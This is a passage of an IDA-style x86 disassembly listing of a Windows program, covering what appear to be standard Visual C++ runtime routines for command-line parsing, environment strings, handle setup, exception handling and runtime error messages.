loc_41AD37:				; CODE XREF: sub_41AC89+A9j
		test	esi, esi
		jz	short loc_41AD3F
		and	byte ptr [esi-1], 0


loc_41AD3F:				; CODE XREF: sub_41AC89+6Ej
					; sub_41AC89+71j ...
		and	[ebp+arg_10], 0


loc_41AD43:				; CODE XREF: sub_41AC89+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41AE2C


loc_41AD4C:				; CODE XREF: sub_41AC89+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41AD58
		cmp	dl, 9
		jnz	short loc_41AD5B


loc_41AD58:				; CODE XREF: sub_41AC89+C8j
		inc	eax
		jmp	short loc_41AD4C
; ---------------------------------------------------------------------------


loc_41AD5B:				; CODE XREF: sub_41AC89+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41AE2C
		test	edi, edi
		jz	short loc_41AD70
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41AD70:				; CODE XREF: sub_41AC89+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41AD75:				; CODE XREF: sub_41AC89+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41AD7E:				; CODE XREF: sub_41AC89+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41AD87
		inc	eax
		inc	ebx
		jmp	short loc_41AD7E
; ---------------------------------------------------------------------------


loc_41AD87:				; CODE XREF: sub_41AC89+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41ADB8
		test	bl, 1
		jnz	short loc_41ADB6
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41ADA5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41ADA5
		mov	eax, edx
		jmp	short loc_41ADA8
; ---------------------------------------------------------------------------


loc_41ADA5:				; CODE XREF: sub_41AC89+10Dj
					; sub_41AC89+116j
		mov	[ebp+arg_0], edi


loc_41ADA8:				; CODE XREF: sub_41AC89+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41ADB6:				; CODE XREF: sub_41AC89+106j
		shr	ebx, 1


loc_41ADB8:				; CODE XREF: sub_41AC89+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41ADCD
		inc	ebx


loc_41ADC0:				; CODE XREF: sub_41AC89+142j
		test	esi, esi
		jz	short loc_41ADC8
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41ADC8:				; CODE XREF: sub_41AC89+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41ADC0


loc_41ADCD:				; CODE XREF: sub_41AC89+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41AE1D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41ADE3
		cmp	dl, 20h
		jz	short loc_41AE1D
		cmp	dl, 9
		jz	short loc_41AE1D


loc_41ADE3:				; CODE XREF: sub_41AC89+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41AE17
		test	esi, esi
		jz	short loc_41AE06
		movzx	ebx, dl
		test	byte_743761[ebx], 4
		jz	short loc_41ADFF
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41ADFF:				; CODE XREF: sub_41AC89+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41AE15
; ---------------------------------------------------------------------------


loc_41AE06:				; CODE XREF: sub_41AC89+162j
		movzx	edx, dl
		test	byte_743761[edx], 4
		jz	short loc_41AE15
		inc	eax
		inc	dword ptr [ecx]


loc_41AE15:				; CODE XREF: sub_41AC89+17Bj
					; sub_41AC89+187j
		inc	dword ptr [ecx]


loc_41AE17:				; CODE XREF: sub_41AC89+15Ej
		inc	eax
		jmp	loc_41AD75
; ---------------------------------------------------------------------------


loc_41AE1D:				; CODE XREF: sub_41AC89+148j
					; sub_41AC89+153j ...
		test	esi, esi
		jz	short loc_41AE25
		and	byte ptr [esi],	0
		inc	esi


loc_41AE25:				; CODE XREF: sub_41AC89+196j
		inc	dword ptr [ecx]
		jmp	loc_41AD43
; ---------------------------------------------------------------------------


loc_41AE2C:				; CODE XREF: sub_41AC89+BDj
					; sub_41AC89+D5j
		test	edi, edi
		jz	short loc_41AE33
		and	dword ptr [edi], 0


loc_41AE33:				; CODE XREF: sub_41AC89+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41AC89	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE3D	proc near		; CODE XREF: seg001:00415E90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_7423E4
		push	ebx
		push	ebp
		mov	ebp, dword_41F03C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41AE8B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AE6C
		mov	dword_7423E4, 1
		jmp	short loc_41AE94
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41AE3D+21j
		call	dword_41F1A4	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41AF66
		mov	dword_7423E4, 2
		jmp	loc_41AF1A
; ---------------------------------------------------------------------------


loc_41AE8B:				; CODE XREF: sub_41AE3D+19j
		cmp	eax, 1
		jnz	loc_41AF15


loc_41AE94:				; CODE XREF: sub_41AE3D+2Dj
		cmp	esi, ebx
		jnz	short loc_41AEA4
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41AF66


loc_41AEA4:				; CODE XREF: sub_41AE3D+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41AEB9


loc_41AEAB:				; CODE XREF: sub_41AE3D+73j
					; sub_41AE3D+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41AEAB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41AEAB


loc_41AEB9:				; CODE XREF: sub_41AE3D+6Cj
		sub	eax, esi
		mov	edi, dword_41F10C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41AF0A
		push	ebp
		call	sub_413F0B
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41AF0A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41AF06
		push	[esp+18h+var_8]
		call	sub_413F7F
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41AF06:				; CODE XREF: sub_41AE3D+B9j
		mov	ebx, [esp+18h+var_8]


loc_41AF0A:				; CODE XREF: sub_41AE3D+99j
					; sub_41AE3D+A8j
		push	esi
		call	dword_41F1A0	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41AF68
; ---------------------------------------------------------------------------


loc_41AF15:				; CODE XREF: sub_41AE3D+51j
		cmp	eax, 2
		jnz	short loc_41AF66


loc_41AF1A:				; CODE XREF: sub_41AE3D+49j
		cmp	edi, ebx
		jnz	short loc_41AF2A
		call	dword_41F1A4	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41AF66


loc_41AF2A:				; CODE XREF: sub_41AE3D+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41AF3A


loc_41AF30:				; CODE XREF: sub_41AE3D+F6j
					; sub_41AE3D+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41AF30
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41AF30


loc_41AF3A:				; CODE XREF: sub_41AE3D+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41AF50
		xor	esi, esi
		jmp	short loc_41AF5B
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41AE3D+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4138F0
		add	esp, 0Ch


loc_41AF5B:				; CODE XREF: sub_41AE3D+111j
		push	edi
		call	dword_41F19C	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41AF68
; ---------------------------------------------------------------------------


loc_41AF66:				; CODE XREF: sub_41AE3D+39j
					; sub_41AE3D+61j ...
		xor	eax, eax


loc_41AF68:				; CODE XREF: sub_41AE3D+D6j
					; sub_41AE3D+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41AE3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AF6F	proc near		; CODE XREF: seg001:00415E80p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41AF8F
		push	1Bh
		call	sub_415F07
		pop	ecx


loc_41AF8F:				; CODE XREF: sub_41AF6F+16j
		mov	dword_743540, esi
		mov	dword_743640, 20h
		lea	eax, [esi+100h]


loc_41AFA5:				; CODE XREF: sub_41AF6F+52j
		cmp	esi, eax
		jnb	short loc_41AFC3
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_743540
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41AFA5
; ---------------------------------------------------------------------------


loc_41AFC3:				; CODE XREF: sub_41AF6F+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_41F15C	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41B09F
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41B09F
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41AFF9
		mov	esi, eax


loc_41AFF9:				; CODE XREF: sub_41AF6F+86j
		cmp	dword_743640, esi
		jge	short loc_41B053
		mov	edi, offset dword_743544


loc_41B006:				; CODE XREF: sub_41AF6F+DAj
		push	100h
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		jz	short loc_41B04D
		add	dword_743640, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41B024:				; CODE XREF: sub_41AF6F+CFj
		cmp	eax, ecx
		jnb	short loc_41B040
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41B024
; ---------------------------------------------------------------------------


loc_41B040:				; CODE XREF: sub_41AF6F+B7j
		add	edi, 4
		cmp	dword_743640, esi
		jl	short loc_41B006
		jmp	short loc_41B053
; ---------------------------------------------------------------------------


loc_41B04D:				; CODE XREF: sub_41AF6F+A4j
		mov	esi, dword_743640


loc_41B053:				; CODE XREF: sub_41AF6F+90j
					; sub_41AF6F+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41B09F


loc_41B059:				; CODE XREF: sub_41AF6F+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B096
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41B096
		test	cl, 8
		jnz	short loc_41B078
		push	eax
		call	dword_41F030	; GetFileType
		test	eax, eax
		jz	short loc_41B096


loc_41B078:				; CODE XREF: sub_41AF6F+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_743540[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41B096:				; CODE XREF: sub_41AF6F+EFj
					; sub_41AF6F+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41B059


loc_41B09F:				; CODE XREF: sub_41AF6F+65j
					; sub_41AF6F+71j ...
		xor	ebx, ebx


loc_41B0A1:				; CODE XREF: sub_41AF6F+195j
		mov	eax, dword_743540
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41B0FC
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41B0BC
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41B0C6
; ---------------------------------------------------------------------------


loc_41B0BC:				; CODE XREF: sub_41AF6F+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41B0C6:				; CODE XREF: sub_41AF6F+14Bj
		push	eax
		call	dword_41F034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41B0EB
		push	edi
		call	dword_41F030	; GetFileType
		test	eax, eax
		jz	short loc_41B0EB
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41B0F1


loc_41B0EB:				; CODE XREF: sub_41AF6F+163j
					; sub_41AF6F+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41B100
; ---------------------------------------------------------------------------


loc_41B0F1:				; CODE XREF: sub_41AF6F+17Aj
		cmp	eax, 3
		jnz	short loc_41B100
		or	byte ptr [esi+4], 8
		jmp	short loc_41B100
; ---------------------------------------------------------------------------


loc_41B0FC:				; CODE XREF: sub_41AF6F+13Ej
		or	byte ptr [esi+4], 80h


loc_41B100:				; CODE XREF: sub_41AF6F+180j
					; sub_41AF6F+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41B0A1
		push	dword_743640
		call	dword_41F038	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41AF6F	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B124	proc near		; DATA XREF: seg001:00415E1Bo
					; sub_418516+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41B1C4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41B157:				; CODE XREF: sub_41B124+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41B1BD
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41B1AB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41B1AB
		js	short loc_41B1B6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4144AC
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4144EE
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_414582
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41B1AB:				; CODE XREF: sub_41B124+40j
					; sub_41B124+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41B157
; ---------------------------------------------------------------------------


loc_41B1B6:				; CODE XREF: sub_41B124+54j
		mov	eax, 0
		jmp	short loc_41B1D9
; ---------------------------------------------------------------------------


loc_41B1BD:				; CODE XREF: sub_41B124+36j
		mov	eax, 1
		jmp	short loc_41B1D9
; ---------------------------------------------------------------------------


loc_41B1C4:				; CODE XREF: sub_41B124+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4144EE
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41B1D9:				; CODE XREF: sub_41B124+97j
					; sub_41B124+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B124	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4144EE
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41B1FC	proc near		; CODE XREF: sub_415F07+9p
					; sub_415F2C+9p
		mov	eax, dword_742280
		cmp	eax, 1
		jz	short loc_41B213
		test	eax, eax
		jnz	short locret_41B234
		cmp	dword_4377A4, 1
		jnz	short locret_41B234


loc_41B213:				; CODE XREF: sub_41B1FC+8j
		push	0FCh
		call	sub_41B235
		mov	eax, dword_7423E8
		pop	ecx
		test	eax, eax
		jz	short loc_41B229
		call	eax


loc_41B229:				; CODE XREF: sub_41B1FC+29j
		push	0FFh
		call	sub_41B235
		pop	ecx

locret_41B234:				; CODE XREF: sub_41B1FC+Cj
					; sub_41B1FC+15j
		retn
sub_41B1FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B235	proc near		; CODE XREF: sub_415F07+12p
					; sub_415F2C+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_437E18


loc_41B248:				; CODE XREF: sub_41B235+20j
		cmp	edx, [eax]
		jz	short loc_41B257
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_437EA8
		jl	short loc_41B248


loc_41B257:				; CODE XREF: sub_41B235+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_437E18[esi]
		jnz	loc_41B385
		mov	eax, dword_742280
		cmp	eax, 1
		jz	loc_41B35F
		test	eax, eax
		jnz	short loc_41B288
		cmp	dword_4377A4, 1
		jz	loc_41B35F


loc_41B288:				; CODE XREF: sub_41B235+44j
		cmp	edx, 0FCh
		jz	loc_41B385
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_41F060	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41B2BF
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_414FB0
		pop	ecx
		pop	ecx


loc_41B2BF:				; CODE XREF: sub_41B235+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_413E90
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41B302
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413E90
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_415140
		add	esp, 10h


loc_41B302:				; CODE XREF: sub_41B235+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_414FB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_414FC0
		lea	eax, [ebp+var_A0]
		push	offset asc_41FB38 ; "\n\n"
		push	eax
		call	sub_414FC0
		push	off_437E1C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_414FC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41CA11
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41B385
; ---------------------------------------------------------------------------


loc_41B35F:				; CODE XREF: sub_41B235+3Cj
					; sub_41B235+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_437E1C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_413E90
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_41F034	; GetStdHandle
		push	eax
		call	dword_41F054	; WriteFile


loc_41B385:				; CODE XREF: sub_41B235+2Ej
					; sub_41B235+59j ...
		pop	esi
		leave
		retn
sub_41B235	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B388	proc near		; CODE XREF: sub_415F50+6Cp
					; sub_41991B+32p ...

arg_0		= dword	ptr  4

		inc	dword_7423EC
		push	1000h
		call	sub_413F0B
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41B3B1
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41B3C2
; ---------------------------------------------------------------------------


loc_41B3B1:				; CODE XREF: sub_41B388+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41B3C2:				; CODE XREF: sub_41B388+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41B388	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3CC	proc near		; CODE XREF: sub_415F50+61p
					; sub_41A891+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_743640
		jb	short loc_41B3DB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B3DB:				; CODE XREF: sub_41B3CC+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_743540[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41B3CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3F2	proc near		; DATA XREF: seg001:0042101Co
		mov	eax, dword_743520
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41B406
		mov	eax, 200h
		jmp	short loc_41B40C
; ---------------------------------------------------------------------------


loc_41B406:				; CODE XREF: sub_41B3F2+Bj
		cmp	eax, esi
		jge	short loc_41B411
		mov	eax, esi


loc_41B40C:				; CODE XREF: sub_41B3F2+12j
		mov	dword_743520, eax


loc_41B411:				; CODE XREF: sub_41B3F2+16j
		push	4
		push	eax
		call	sub_41CA9A
		pop	ecx
		mov	dword_74251C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41B445
		push	4
		push	esi
		mov	dword_743520, esi
		call	sub_41CA9A
		pop	ecx
		mov	dword_74251C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41B445
		push	1Ah
		call	sub_415F07
		pop	ecx


loc_41B445:				; CODE XREF: sub_41B3F2+30j
					; sub_41B3F2+49j
		xor	ecx, ecx
		mov	eax, offset off_437EA8


loc_41B44C:				; CODE XREF: sub_41B3F2+6Ej
		mov	edx, dword_74251C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_438128
		jl	short loc_41B44C
		xor	edx, edx
		mov	ecx, offset dword_437EB8


loc_41B469:				; CODE XREF: sub_41B3F2+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_743540[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B486
		test	eax, eax
		jnz	short loc_41B489


loc_41B486:				; CODE XREF: sub_41B3F2+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41B489:				; CODE XREF: sub_41B3F2+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_437F18
		jl	short loc_41B469
		pop	esi
		retn
sub_41B3F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B497	proc near		; DATA XREF: seg001:0042102Co

; FUNCTION CHUNK AT 0041CB17 SIZE 00000058 BYTES

		call	sub_4198A5
		cmp	byte_74226C, 0
		jz	short locret_41B4AA
		jmp	loc_41CB17
; ---------------------------------------------------------------------------

locret_41B4AA:				; CODE XREF: sub_41B497+Cj
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B4AB	proc near		; CODE XREF: sub_416065+2D4p
					; sub_416065+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41B4B7
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B4B7:				; CODE XREF: sub_41B4AB+8j
		cmp	dword_7422B4, 0
		jnz	short loc_41B4D2
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41B504
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41B4D2:				; CODE XREF: sub_41B4AB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_4379BC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_7422C4
		call	dword_41F10C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41B504
		cmp	[ebp+arg_0], 0
		jz	short loc_41B511


loc_41B504:				; CODE XREF: sub_41B4AB+1Ej
					; sub_41B4AB+51j
		mov	dword_74222C, 2Ah
		or	eax, 0FFFFFFFFh


loc_41B511:				; CODE XREF: sub_41B4AB+57j
		pop	ebp
		retn
sub_41B4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B513	proc near		; CODE XREF: sub_41686F+5Ep
					; sub_41A452+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41FB78
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_7423F0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41B582
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41F868
		push	esi
		call	dword_41F028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41B560
		mov	eax, esi
		jmp	short loc_41B57D
; ---------------------------------------------------------------------------


loc_41B560:				; CODE XREF: sub_41B513+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_438A0C
		push	esi
		push	ebx
		call	dword_41F02C	; GetStringTypeA
		test	eax, eax
		jz	loc_41B648
		push	2
		pop	eax


loc_41B57D:				; CODE XREF: sub_41B513+4Bj
		mov	dword_7423F0, eax


loc_41B582:				; CODE XREF: sub_41B513+2Fj
		cmp	eax, 2
		jnz	short loc_41B5AB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41B593
		mov	eax, dword_7422B4


loc_41B593:				; CODE XREF: sub_41B513+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_41F02C	; GetStringTypeA
		jmp	loc_41B64A
; ---------------------------------------------------------------------------


loc_41B5AB:				; CODE XREF: sub_41B513+72j
		cmp	eax, 1
		jnz	loc_41B648
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41B5C1
		mov	eax, dword_7422C4
		mov	[ebp+arg_10], eax


loc_41B5C1:				; CODE XREF: sub_41B513+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_41F110	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41B648
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_413890
		add	esp, 0Ch
		jmp	short loc_41B617
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41B617:				; CODE XREF: sub_41B513+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41B648
